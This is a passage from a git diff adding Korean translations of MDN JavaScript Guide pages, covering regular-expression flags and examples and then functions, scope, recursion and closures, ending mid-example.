+<pre class="brush: js">var re = new RegExp("pattern", "flags");
+</pre>
+
+<p>이 플래그는 정규식에 합쳐지는 정보임을 기억하는게 좋습니다. 이것들은 나중에 추가되거나 제거될 수 없습니다.</p>
+
+<p>예를 들어, <code>re = /\w+\s/g</code> 는 한 개 이상의 문자열 뒤에 공백이 하나 있는 패턴을 찾는 정규식을 생성합니다. 그리고 문자열 전체에 걸쳐 이 조합을 검색합니다.</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+var str = "fee fi fo fum";
+var myArray = str.match(re);
+console.log(myArray);
+
+// ["fee ", "fi ", "fo "]
+</pre>
+
+<p>아래 코드는:</p>
+
+<pre class="brush: js">var re = /\w+\s/g;
+</pre>
+
+<p>이렇게 바꿔쓸 수 있습니다:</p>
+
+<pre class="brush: js">var re = new RegExp("\\w+\\s", "g");
+</pre>
+
+<p>그리고 똑같은 결과를 얻습니다.</p>
+
+<p> <code>.exec()</code> 메소드를 사용할 때에는 '<strong><code>g</code></strong>' 플래그에 대한 동작이 다릅니다.  ("클래스"와 "인수"의 역할이 뒤바뀝니다:  <code>.match()</code>를 사용할 때는, string 클래스가 메소드를 갖고 정규식은 인수였던 것에 반해, <code>.exec()</code>를 사용할 때는 정규식이 메소드를 갖고 문자열이 인수가 됩니다. <em><code>str.match(re)</code></em> 과 <em><code>re.exec(str)</code></em>를 비교해보세요.)  '<code><strong>g</strong></code>' 플래그와  <strong><code>.exec()</code></strong> 메소드가 함께 사용되면 진행상황에 대한 정보가 반환됩니다.</p>
+
+<pre><code>var xArray; while(xArray = re.exec(str)) console.log(xArray);
+// 다음과 같이 출력됩니다:
+// ["fee ", index: 0, input: "fee fi fo fum"]
+// ["fi ", index: 4, input: "fee fi fo fum"]
+// ["fo ", index: 7, input: "fee fi fo fum"]</code></pre>
+
+<p><code>m</code> 플래그는 여러 줄의 입력 문자열이 실제로 여러 줄로서 다뤄져야 하는 경우에 쓰입니다. 만약 <code>m</code> 플래그가 사용되면, <code>^</code> 와 <code>$</code> 문자는 전체 문자열의 시작과 끝에 대응되는 것이 아니라 각 라인의 시작과 끝에 대응됩니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>다음의 예는 정규 표현식의 몇 가지 사용법을 보여줍니다.</p>
+
+<h3 id="입력_문자열에서_순서를_변경하기">입력 문자열에서 순서를 변경하기</h3>
+
+<p>다음 예는 정규식의 , <code>string.split()과</code> <code>string.replace()</code>의 사용을 설명합니다. 그것은 공백, 탭과 정확히 하나의 세미콜론의 구분으로 이름(이름을 먼저)이 포함된 대략 형식의 입력 문자열을 정리합니다. 마지막으로, 순서(성을 먼저)를 뒤바꾸고 목록을 정렬합니다.</p>
+
+<pre class="brush: js">// The name string contains multiple spaces and tabs,
+// and may have multiple spaces between first and last names.
+var names = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand ";
+
+var output = ["---------- Original String\n", names + "\n"];
+
+// Prepare two regular expression patterns and array storage.
+// Split the string into array elements.
+
+// pattern: possible white space then semicolon then possible white space
+var pattern = /\s*;\s*/;
+
+// Break the string into pieces separated by the pattern above and
+// store the pieces in an array called nameList
+var nameList = names.split(pattern);
+
+// new pattern: one or more characters then spaces then characters.
+// Use parentheses to "memorize" portions of the pattern.
+// The memorized portions are referred to later.
+pattern = /(\w+)\s+(\w+)/;
+
+// New array for holding names being processed.
+var bySurnameList = [];
+
+// Display the name array and populate the new array
+// with comma-separated names, last first.
+//
+// The replace method removes anything matching the pattern
+// and replaces it with the memorized string—second memorized portion
+// followed by comma space followed by first memorized portion.
+//
+// The variables $1 and $2 refer to the portions
+// memorized while matching the pattern.
+
+output.push("---------- After Split by Regular Expression");
+
+var i, len;
+for (i = 0, len = nameList.length; i &lt; len; i++){
+  output.push(nameList[i]);
+  bySurnameList[i] = nameList[i].replace(pattern, "$2, $1");
+}
+
+// Display the new array.
+output.push("---------- Names Reversed");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+// Sort by last name, then display the sorted array.
+bySurnameList.sort();
+output.push("---------- Sorted");
+for (i = 0, len = bySurnameList.length; i &lt; len; i++){
+  output.push(bySurnameList[i]);
+}
+
+output.push("---------- End");
+
+console.log(output.join("\n"));
+</pre>
+
+<h3 id="입력을_확인하기_위해_특수_문자를_사용하기">입력을 확인하기 위해 특수 문자를 사용하기</h3>
+
+<p>다음 예에서, 사용자는 전화번호를 입력 할 것으로 예상됩니다. 사용자가 "Check" 버튼을 누를 때, 스크립트는 번호의 유효성을 검사합니다. 번호가 유효한 경우(정규식에 의해 지정된 문자 시퀀스와 일치합니다), 스크립트는 사용자에게 감사하는 메시지와 번호를 확인하는 메시지를 나타냅니다. 번호가 유효하지 않은 경우, 스크립트는 전화번호가 유효하지 않다는 것을 사용자에게 알립니다.</p>
+
+<p>비 캡처링 괄호 <code>(?:</code> , 정규식은 세 자리 숫자를 찾습니다 <code>\d{3}</code> OR <code>|</code> 왼쪽 괄호<code>\(</code> 세 자리 숫자 다음에 <code>\d{3}</code>, 닫는 괄호 다음에 <code>\)</code>, (비 캡처링 괄호를 종료<code>)</code>) 안에, 하나의 대시, 슬래시, 또는 소수점을 다음과 같이 발견했을 때,  세 자리 숫자 다음에 <code>d{3}</code>, 대시의 기억 매치, 슬래시, 또는 소수점 다음에 <code>\1</code>, 네 자리 숫자 다음에 <code>\d{4}</code> 문자를 기억합니다<strong><font face="Courier New">([-\/\.])</font></strong>.</p>
+
+<p>사용자가 &lt;Enter&gt; 키를 누를 때 활성화 <code>변경</code> 이벤트는 <code>RegExp.input</code>의 값을 설정합니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
+    &lt;meta http-equiv="Content-Script-Type" content="text/javascript"&gt;
+    &lt;script type="text/javascript"&gt;
+      var re = /(?:\d{3}|\(\d{3}\))([-\/\.])\d{3}\1\d{4}/;
+      function testInfo(phoneInput){
+        var OK = re.exec(phoneInput.value);
+        if (!OK)
+          window.alert(OK.input + " isn't a phone number with area code!");
+        else
+          window.alert("Thanks, your phone number is " + OK[0]);
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Enter your phone number (with area code) and then click "Check".
+        &lt;br&gt;The expected format is like ###-###-####.&lt;/p&gt;
+    &lt;form action="#"&gt;
+      &lt;input id="phone"&gt;&lt;button onclick="testInfo(document.getElementById('phone'));"&gt;Check&lt;/button&gt;
+    &lt;/form&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</p>
diff --git a/files/ko/web/javascript/guide/함수/index.html b/files/ko/web/javascript/guide/함수/index.html
new file mode 100644
index 0000000000..cf9d928eb3
--- /dev/null
+++ b/files/ko/web/javascript/guide/함수/index.html
@@ -0,0 +1,658 @@
+---
+title: 함수
+slug: Web/JavaScript/Guide/함수
+translation_of: Web/JavaScript/Guide/Functions
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div>
+
+<p class="summary">함수는 JavaScript에서 기본적인 구성 블록 중의 하나입니다. 함수는 작업을 수행하거나 값을 계산하는 문장 집합 같은 자바스크립트 절차입니다. 함수를 사용하려면 함수를 호출하고자 하는 범위 내에서 함수를 정의해야만 합니다.</p>
+
+<p>세부 사항에 대해서는 <a href="/ko/docs/Web/JavaScript/Reference/Functions">exhaustive reference chapter about JavaScript functions</a>를 참조하세요.</p>
+
+<h2 id="함수_정의">함수 정의</h2>
+
+<h3 id="함수_선언">함수 선언</h3>
+
+<p>함수 정의(또는 함수 선언)는 다음과 같은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>함수</code></a> 키워드로 구성되어 있습니다:</p>
+
+<ul>
+ <li>함수의 이름</li>
+ <li>괄호 안에서 쉼표로 분리된 함수의 매개변수 목록 </li>
+ <li>중괄호 <code>{ }</code> 안에서 함수를 정의하는 자바스크립트 표현</li>
+</ul>
+
+<p>예를 들어, 다음의 코드는 <code>square</code>라는 간단한 함수를 정의하였습니다:</p>
+
+<pre class="brush: js"><code>function square(number) {
+  return number * number;
+}</code></pre>
+
+<p>함수 <code>square</code>은 <code>number</code>라는 하나의 매개변수를 가집니다. 이 함수는 인수 (즉, <code>number</code>) 자체를 곱하여 반환하는 하나의 문장으로 구성되어 있습니다. <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return">return</a></code> 문은 함수에 의해 반환된 값을 지정합니다.</p>
+
+<pre class="brush: js"><code>return number * number;</code></pre>
+
+<p>기본 자료형인 매개변수(number와 같은)는 <strong>값으로</strong> 함수에 전달됩니다; 즉, 값이 함수로 전달됩니다. 그러나 함수가 매개변수의 값을 바꾸더라도 이는 <strong>전역적으로 또는 함수를 호출하는 곳에는 반영되지 않습니다</strong>.</p>
+
+<p>만약 여러분이 매개변수로 (예: {{jsxref("Array")}}이나 사용자가 정의한 객체와 같이 기본 자료형이 아닌 경우)를 전달하거나 함수가 객체의 속성을 변하게 하는 경우, 다음의 예처럼 그 변화는 함수 외부에서 볼 수 있습니다:</p>
+
+<pre class="brush: js">function myFunc(theObject) {
+  theObject.make = "Toyota";
+}
+
+var mycar = {make: "Honda", model: "Accord", year: 1998};
+var x, y;
+
+x = mycar.make; // x 의 값은 "Honda" 입니다.
+
+myFunc(mycar);
+y = mycar.make; // y 의 값은 "Toyota" 입니다.
+                // (make 속성은 myFunc에서 변경되었습니다.)
+</pre>
+
+<h3 id="함수_표현식">함수 표현식</h3>
+
+<p>위에서 함수 선언은 구문적인 문(statement)이지만, <strong>함수 표현식(</strong> <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/function">function expression</a><strong>)</strong>에 의해서 함수가 만들어 질 수도 있습니다. 이 같은 함수를 <strong>익명</strong>이라고 합니다. 이 말은 모든 함수가 이름을 가질 필요는 없다는 것을 뜻합니다. 예를 들어, 함수 <code>square</code>은 다음과 같이 정의 될 수도 있습니다:</p>
+
+<pre class="brush: js">var square = function(number) { return number * number };
+var x = square(4) // x 의 값은 16 입니다.</pre>
+
+<p>하지만, 함수 표현식에서 함수의 이름을 지정 할 수 있으며, 함수내에서 자신을 참조하는데 사용되거나, 디버거 내 스택 추적에서 함수를 식별하는 데 사용될 수 있습니다.</p>
+
+<pre class="brush: js">var factorial = function fac(n) { return n&lt;2 ? 1 : n*fac(n-1) };
+
+console.log(factorial(3));
+</pre>
+
+<p>함수 표현식은 함수를 다른 함수의 매개변수로 전달할 때 편리합니다. 다음 예는 첫 번째 인자로로 함수를, 두 번째 인자로 배열을 받는 <code>map</code> 함수를 보여줍니다.</p>
+
+<pre class="brush: js">function map(f,a) {
+  var result = [], // Create a new Array
+      i;
+  for (i = 0; i != a.length; i++)
+    result[i] = f(a[i]);
+  return result;
+}
+</pre>
+
+<p>다음 코드에서, 함수 표현식으로 정의된 함수를 인자로 받아, 2번 째 인자인 배열의 모든 요소에 대해 그 함수를 실행합니다.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">map</span><span class="punctuation token">(</span>f<span class="punctuation token">,</span> a<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> result <span class="operator token">=</span> <span class="punctuation token">[</span><span class="punctuation token">]</span><span class="punctuation token">;</span> <span class="comment token">// Create a new Array</span>
+  <span class="keyword token">var</span> i<span class="punctuation token">;</span> <span class="comment token">// Declare variable</span>
+  <span class="keyword token">for</span> <span class="punctuation token">(</span>i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">!=</span> a<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span>
+    result<span class="punctuation token">[</span>i<span class="punctuation token">]</span> <span class="operator token">=</span> <span class="function token">f</span><span class="punctuation token">(</span>a<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="keyword token">return</span> result<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">var</span> f <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+   <span class="keyword token">return</span> x <span class="operator token">*</span> x <span class="operator token">*</span> x<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="keyword token">var</span> numbers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">,</span> <span class="number token">2</span><span class="punctuation token">,</span> <span class="number token">5</span><span class="punctuation token">,</span> <span class="number token">10</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> cube <span class="operator token">=</span> <span class="function token">map</span><span class="punctuation token">(</span>f<span class="punctuation token">,</span>numbers<span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>cube<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>함수는 [0, 1, 8, 125, 1000] 을 반환합니다.</p>
+
+<p>JavaScript에서 함수는 조건에 의해 정의될 수 있습니다. 예를 들어, 다음 함수 정의는 오직 <code>num</code>이 0일 때 경우에 만 <code>myFunc</code>을 정의합니다.</p>
+
+<pre class="brush: js">var myFunc;
+if (num == 0){
+  myFunc = function(theObject) {
+    theObject.make = "Toyota"
+  }
+}</pre>
+
+<p>여기에 기술된 바와 같이 함수를 정의하는것에 더하여 {{jsxref("eval", "eval()")}} 과 같이 런타임에 문자열에서 함수들을 만들기위해 {{jsxref("Function")}} 생성자를 사용할 수 있습니다.</p>
+
+<p>객체내의 한 속성이 함수인 경우 <strong>메서드</strong>라고 합니다. <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Working with objects</a>에서 객체와 방법에 대해 자세히 알아보세요.</p>
+
+<h2 id="함수_호출">함수 호출</h2>
+
+<p>함수를 정의하는 것은 함수를 실행하는 것이 아닙니다. 함수를 정의하는 것은 간단히 함수의 이름을 지어주고, 함수가 호출될 때 무엇을 할지 지정 해주는 것입니다. 사실 함수를 <strong>호출</strong>하는 것은 나타나있는 매개변수를 가지고 지정된 행위를 수행하는 것입니다. 예를 들어, 만약 여러분이 함수 <code>square</code>를 정의한다면, 함수를 다음과 같이 호출할 수 있습니다.</p>
+
+<pre class="brush: js">square(5);
+</pre>
+
+<p>위의 문장은 5라는 인수를 가지고 함수를 호출합니다. 함수는 이 함수의 실행문을 실행하고 값 25를 반환합니다.</p>
+
+<p>함수는 호출될 때 범위 내에 있어야 합니다. 그러나 함수의 선언은 이 예에서와 같이, 호이스팅 될 수 있습니다. (코드에서 호출 아래에 선언문이 있습니다.):</p>
+
+<pre class="brush: js">console.log(square(5));
+/* ... */
+function square(n) { return n*n }
+</pre>
+
+<p>함수의 범위는 함수가 선언된 곳이거나, 전체 프로그램 에서의 최상위 레벨(전역)에 선언된 곳입니다.</p>
+
+<div class="note">
+<p><strong>비고:</strong> 위에 구문을 사용하여 함수를 정의하는 경우에만 작동합니다 (즉, <code>function funcName(){}</code> ). 아래와 같은 코드는 작동되지 않습니다. 이것이 의미하는 바는, 함수 호이스팅은 오직 함수 선언과 함께 작동하고, 함수 표현식에서는 동작하지 않습니다.</p>
+</div>
+
+<pre class="brush: js example-bad">console.log(square);   // square는 초기값으로 undefined를 가지고 호이스트된다.
+console.log(square(5));  // TypeError: square는 함수가 아니다.
+square = function (n) {
+  return n * n;
+}
+</pre>
+
+<p>함수의 인수는 문자열과 숫자에 제한되지 않습니다. 여러분은 함수에 전체 객체를 전달할 수 있습니다. <code>show_props()</code> 함수(<a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a>에서 정의된)는 인수로 객체를 취하는 함수의 예입니다.</p>
+
+<p>함수는 자신을 호출할 수 있습니다. 예를 들어, 팩토리얼을 재귀적으로 계산하는 함수가 있습니다:</p>
+
+<pre class="brush: js">function factorial(n){
+  if ((n == 0) || (n == 1))
+    return 1;
+  else
+    return (n * factorial(n - 1));
+}
+</pre>
+
+<p>여러분은 다음과 같이 1부터 5까지의 팩토리얼을 계산할 수 있습니다.</p>
+
+<pre class="brush: js">var a, b, c, d, e;
+a = factorial(1); // a gets the value 1
+b = factorial(2); // b gets the value 2
+c = factorial(3); // c gets the value 6
+d = factorial(4); // d gets the value 24
+e = factorial(5); // e gets the value 120
+</pre>
+
+<p>함수를 호출하는 다른 방법들이 있습니다. 함수를 동적 호출해야 하거나, 함수의 인수의 수가 달라져야 하거나, 함수 호출의 맥락이 런타임에서 결정된 특정한 객체로 설정될 필요가 있는 경우가 자주 있습니다. 함수가 그 자체로 객체이고 이들 객체는 차례로 메서드를({{jsxref("Function")}} 객체를 참조) 가지고 있습니다. 이들 중 하나인 {{jsxref("Function.apply", "apply()")}} 메서드는 이러한 목표를 달성하기 위해 사용될 수 있습니다.</p>
+
+<h2 class="deki-transform" id="함수의_범위">함수의 범위</h2>
+
+<p>함수 내에서 정의된 변수는 변수가 함수의 범위에서만 정의되어 있기 때문에, 함수 외부의 어느 곳에서든 액세스할 수 없습니다. 그러나, 함수가 정의된 범위 내에서 정의된 모든 변수나 함수는 액세스할 수 있습니다. 즉, 전역함수는 모든 전역 변수를 액세스할 수 있습니다. 다른 함수 내에서 정의 된 함수는 부모 함수와 부모 함수가 액세스 할 수 있는 다른 변수에 정의된 모든 변수를 액세스할 수 있습니다.</p>
+
+<pre class="brush: js">// The following variables are defined in the global scope
+var num1 = 20,
+    num2 = 3,
+    name = "Chamahk";
+
+// This function is defined in the global scope
+function multiply() {
+  return num1 * num2;
+}
+
+multiply(); // Returns 60
+
+// A nested function example
+function getScore () {
+  var num1 = 2,
+      num2 = 3;
+
+  function add() {
+    return name + " scored " + (num1 + num2);
+  }
+
+  return add();
+}
+
+getScore(); // Returns "Chamahk scored 5"
+</pre>
+
+<h2 id="Scope_and_the_function_stack" name="Scope_and_the_function_stack">범위와 함수 스택</h2>
+
+<h3 id="Recursion" name="Recursion">재귀</h3>
+
+<p>함수는 자신을 참조하고 호출할 수 있습니다. 함수가 자신을 참조하는 방법은 세 가지가 있습니다.</p>
+
+<ol>
+ <li>함수의 이름</li>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></li>
+ <li>함수를 참조하는 범위 내 변수</li>
+</ol>
+
+<p>예를 들어, 다음 함수의 정의를 고려해보세요.</p>
+
+<pre class="brush: js">var foo = function bar() {
+   // statements go here
+};
+</pre>
+
+<p>함수 본문 내에서 다음은 모두 동일합니다.</p>
+
+<ol>
+ <li><code>bar()</code></li>
+ <li><code>arguments.callee()</code></li>
+ <li><code>foo()</code></li>
+</ol>
+
+<p>자신을 호출하는 함수를 <em>재귀 함수</em>라고 합니다. 어떤 면에서, 재귀는 루프와 유사합니다. 둘 다 동일한 코드를 여러 번 실행하고, 조건(<span class="atn">무한 루프</span><span class="atn">를 방지</span><span class="atn">하거나, 이</span><span> 경우에는</span> <span class="hps">오히려</span> <span class="atn hps">무한 재귀</span><span class="atn">하는)</span>을 요구합니다. 예를 들어, 다음 루프는:</p>
+
+<pre class="brush: js">var x = 0;
+while (x &lt; 10) { // "x &lt; 10" is the loop condition
+   // do stuff
+   x++;
+}
+</pre>
+
+<p>아래와 같이 재귀 함수와 그 함수에 대한 호출로 변환될 수 있습니다.</p>
+
+<pre class="brush: js">function loop(x) {
+  if (x &gt;= 10) // "x &gt;= 10" 는 탈출 조건 ("!(x &lt; 10)"와 동등)
+    return;
+  // do stuff
+  loop(x + 1); // the recursive call
+}
+loop(0);
+</pre>
+
+<p>그러나 일부 알고리즘은 단순 재귀 루프로 변환할 수 없습니다. 예를 들어, 트리 구조(가령, <a href="/en-US/docs/DOM">DOM</a>)의 모든 노드를 얻는 것은 재귀를 사용하여 보다 쉽게 할 수 있습니다:</p>
+
+<pre class="brush: js">function walkTree(node) {
+  if (node == null) //
+    return;
+  // do something with node
+  for (var i = 0; i &lt; node.childNodes.length; i++) {
+    walkTree(node.childNodes[i]);
+  }
+}
+</pre>
+
+<p>함수  <code>loop</code> 와 비교하여, 각 재귀 호출 자체는 여기에 많은 재귀 호출을 만듭니다.</p>
+
+<p>재귀적 알고리즘은 비 재귀적인 알고리즘으로 변환 할 수 있습니다. 그러나 변환된 알고리즘이 훨씬 더 복잡하며 그렇게 함으로써 스택의 사용을 요구합니다. 사실, 재귀 자체가 함수 스택을 사용 합니다.</p>
+
+<p>스택형 동작은 다음의 예에서 볼 수 있습니다:</p>
+
+<pre class="brush: js">function foo(i) {
+  if (i &lt; 0)
+    return;
+  console.log('begin:' + i);
+  foo(i - 1);
+  console.log('end:' + i);
+}
+foo(3);
+
+// Output:
+
+// begin:3
+// begin:2
+// begin:1
+// begin:0
+// end:0
+// end:1
+// end:2
+// end:3</pre>
+
+<h3 id="중첩된_함수와_클로저">중첩된 함수와 클로저</h3>
+
+<p>여러분은 함수 내에 함수를 끼워 넣을 수 있습니다. 중첩 된 (내부) 함수는 그것을 포함하는 (외부) 함수와 별개입니다. 그것은 또한 <em>클로저</em>를 형성합니다. 클로저는 그 변수(“폐쇄”라는 표현)를 결합하는 환경을 자유롭게 변수와 함께 가질 수 있는 표현(전형적인 함수)입니다.</p>
+
+<p>중첩 함수는 클로저이므로, 중첩된 함수는 그것을 포함하는 함수의 인수와 변수를 “상속”할 수 있는 것을 의미합니다. 즉, 내부 함수는 외부 함수의 범위를 포함합니다.</p>
+
+<p>요약하면:</p>
+
+<ul>
+ <li>내부 함수는 외부 함수의 명령문에서만 액세스할 수 있습니다.</li>
+</ul>
+
+<ul>
+ <li>내부 함수는 클로저를 형성합니다: 외부 함수는 내부 함수의 인수와 변수를 사용할 수 없는 반면에, 내부 함수는 외부 함수의 인수와 변수를 사용할 수 있습니다.</li>
+</ul>
+
+<p>다음 예는 중첩된 함수를 보여줍니다:</p>
+
+<pre class="brush: js">function addSquares(a,b) {
+  function square(x) {
+    return x * x;
+  }
+  return square(a) + square(b);
+}
+a = addSquares(2,3); // returns 13
+b = addSquares(3,4); // returns 25
+c = addSquares(4,5); // returns 41
+</pre>
+
+<p>내부 함수는 클로저를 형성하기 때문에, 여러분은 외부 함수를 호출하고, 외부 및 내부 함수 모두에 인수를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">function outside(x) {
+  function inside(y) {
+    return x + y;
+  }
+  return inside;
+}
+fn_inside = outside(3); // Think of it like: give me a function that adds 3 to whatever you give it
+result = fn_inside(5); // returns 8
+
+result1 = outside(3)(5); // returns 8
+</pre>
+
+<h3 id="Efficiency_considerations" name="Efficiency_considerations">변수의 보존</h3>
+
+<p>중첩된 내부 함수가 반환될 때 외부 함수의 인수 <code>x</code>가 보존된다는 점을 알 수 있습니다. 클로저는 그것을 참조하는 모든 범위에서 인수와 변수를 보존해두어야 합니다. 매번 호출될 때마다 잠재적으로 다른 인수를 제공할 수 있기 때문에, 클로저는 외부 함수에 대하여 매번 새로 생성됩니다. 메모리는 그 무엇도 내부 함수에 접근하지 않을 때만 해제됩니다.</p>
+
+<p>변수의 보존은 일반 객체에서 참조를 저장해두는 것과 다르지 않지만, 사용자가 직접 참조를 설정하는 것이 아니고 자세히 들여다볼 수 없어서 종종 명확하지 않습니다.</p>
+
+<h3 id="Multiply-nested_functions" name="Multiply-nested_functions">다중 중첩 함수</h3>
+
+<p>함수는 다중 중첩될 수 있습니다. 즉, 함수 (C)를 포함하는 함수 (B)를 포함하는 함수 (A). 여기에서 두 함수 B와 C는 모두 클로저를 형성합니다. 그래서 B는 A를 엑세스할 수 있고, C는 B를 액세스 할 수 있습니다. 이와 같이, 클로저는 다중 범위를 포함 할 수 있습니다; 그들은 재귀적으로 그것을 포함하는 함수의 범위를 포함합니다. 이것을 <em>범위 체이닝</em>이라 합니다.(그것을 “체이닝”이라 하는 이유는 추후에 설명할 것입니다.)</p>
+
+<p>다음 예를 살펴 보겠습니다:</p>
+
+<pre class="brush: js">function A(x) {
+  function B(y) {
+    function C(z) {
+      console.log(x + y + z);
+    }
+    C(3);
+  }
+  B(2);
+}
+A(1); // logs 6 (1 + 2 + 3)
+</pre>
+
+<p>이 예에서, C는 B의 y와 A의 x를 엑세스 합니다. 이 때문에 수행할 수 있습니다:</p>
+
+<ol>
+ <li>B는 A를 포함하는 클로저를 형성합니다. 즉, B는 A의 인수와 변수를 엑세스할 수 있습니다.</li>
+ <li>C는 B를 포함하는 클로저를 형성합니다.</li>
+ <li>B의 클로저는 A를 포함하고, C의 클로저는 A를 포함하기 때문에, C는 B와 A의 인수와 변수를 엑세스할 수 있습니다. 즉, 순서대로 C는 A와 B의 범위를 체이닝합니다.</li>
+</ol>
+
+<p>그러나 역은 사실이 아닙니다. A는 C에 접근 할 수 없습니다. 왜냐하면 A는 B의 인수와 변수(C는 B변수)에 접근할수 없기 때문입니다. 그래서 C는 B에게만 사적으로 남게됩니다.</p>
+
+<h3 id="Name_conflicts" name="Name_conflicts">이름 충돌</h3>
+
+<p>클로저의 범위에서 두 개의 인수 또는 변수의 이름이 같은 경우, <em>이름 충돌</em>이 있습니다. 더 안쪽 범위가 우선순위를 갖습니다. 그래서 가장 바깥 범위는 우선순위가 가장 낮은 반면에, 가장 안쪽 범위는 가장 높은 우선순위를 갖습니다. 이것이 범위 체인(scope chaini)입니다. <span class="atn">체인에서</span> 첫번째는 <span class="hps">가장 안쪽</span> <span class="atn hps">범위</span><span>이고,</span> <span class="atn hps">마지막</span><span>은</span> <span class="atn hps">가장 바깥 쪽</span><span class="atn">의 범위입니다</span><span>.</span> <span class="hps">다음 사항을 고려하세요:</span></p>
+
+<pre class="brush: js">function outside() {
+  var x = 10;
+  function inside(x) {
+    return x;
+  }
+  return inside;
+}
+result = outside()(20); // returns 20 instead of 10
+</pre>
+
+<p>이름 충돌이 x를 반환하는 문과 내부의 매개 변수 x와 외부 변수 x 사이에서 발생합니다. 여기에서 범위 체이닝은 {내부, 외부, 전역 객체}입니다. 따라서 내부의 x는 외부의 x보다 높은 우선순위를 갖게 되고, 20(내부의 x)이 10(외부의 x) 대신에 반환됩니다.</p>
+
+<h2 id="클로저">클로저</h2>
+
+<p>클로저는 자바스크립트의 강력한 기능 중 하나입니다. 자바스크립트는 함수의 중첩(함수 안에 함수를 정의하는것)을 허용하고, 내부함수가 외부 함수 안에서 정의된 모든 변수와 함수들을 완전하게 접근 할 수 있도록 승인해줍니다.(그리고 외부함수가 접근할수 있는 모든 다른 변수와 함수들까지) 그러나 외부 함수는 내부 함수 안에서 정의된 변수와 함수들에 접근 할 수 없습니다. 이는 내부 함수의 변수에 대한 일종의 캡슐화를 제공합니다. 또한, 내부함수는 외부함수의 범위에 접근할 수 있기 때문에, 내부 함수가 외부 함수의 수명을 초과하여 생존하는 경우, 외부함수에서 선언된 변수나 함수는 외부함수의 실행 기간보다 오래갑니다. 클로저는 내부 함수가 어떻게든 외부 함수 범위 밖의 모든 범위에서 사용 가능해지면 생성됩니다.</p>
+
+<pre class="brush: js">var pet = function(name) {   // 외부 함수는 'name'이라 불리는 변수를 정의합니다.
+  var getName = function() {
+    return name;             // 내부 함수는 외부 함수의 'name' 변수에 접근합니다.
+  }
+  return getName;            // 내부 함수를 리턴함으로써, 외부 범위에 노출됩니다.
+},
+myPet = pet("Vivie");
+
+myPet();                     // "Vivie"로 리턴합니다.
+</pre>
+
+<p>클로저는 위 코드보다 더 복잡해 질 수도 있습니다. 외부 함수의 내부 변수를 다루는 메서드를 포함한 객체도 반환될 수도 있습니다.</p>
+
+<pre class="brush: js">var createPet = function(name) {
+  var sex;
+
+  return {
+    setName: function(newName) {
+      name = newName;
+    },
+
+    getName: function() {
+      return name;
+    },
+
+    getSex: function() {
+      return sex;
+    },
+
+    setSex: function(newSex) {
+      if(typeof newSex == "string" &amp;&amp; (newSex.toLowerCase() == "male" || newSex.toLowerCase() == "female")) {
+        sex = newSex;
+      }
+    }
+  }
+}
+
+var pet = createPet("Vivie");
+pet.getName();                  // Vivie
+
+pet.setName("Oliver");
+pet.setSex("male");
+pet.getSex();                   // male
+pet.getName();                  // Oliver
+</pre>
+
+<p>위 코드에서, 외부 함수의 'name' 이란 변수는 내부 함수에서 접근이 가능합니다. 그리고 그 내장 함수를 통하는 방법 말고는 내부 변수로 접근할 수 없습니다. 내부 함수의 내부 변수는 외부 인수와 변수를 안전하게 저장합니다. 내부 변수는 내부 함수가 작동하기 위해 '지속적'이고 '갭슐화된' 데이터를 보유합니다. 함수는 변수로 할당되거나, 이름을 가질 필요가 없습니다.</p>
+
+<pre class="brush: js">var getCode = (function(){
+  var secureCode = "0]Eal(eh&amp;2";    // A code we do not want outsiders to be able to modify...
+
+  return function () {
+    return secureCode;
+  };
+})();
+
+getCode();    // Returns the secureCode
+</pre>
+
+<p>그러나 클로저를 쓰면서 조심해야 할 위험이 많이 있습니다. 만약 내부 함수가 외부 함수의 범위에 있는 이름과 같은 변수를 정의하였을 경우, 다시는 외부 함수 범위의 변수를 참조(접근)할 방법이 없습니다.</p>
+
+<pre class="brush: js">var createPet = function(name) {  // 외부 함수가 "name" 이라는 변수를 정의하였다
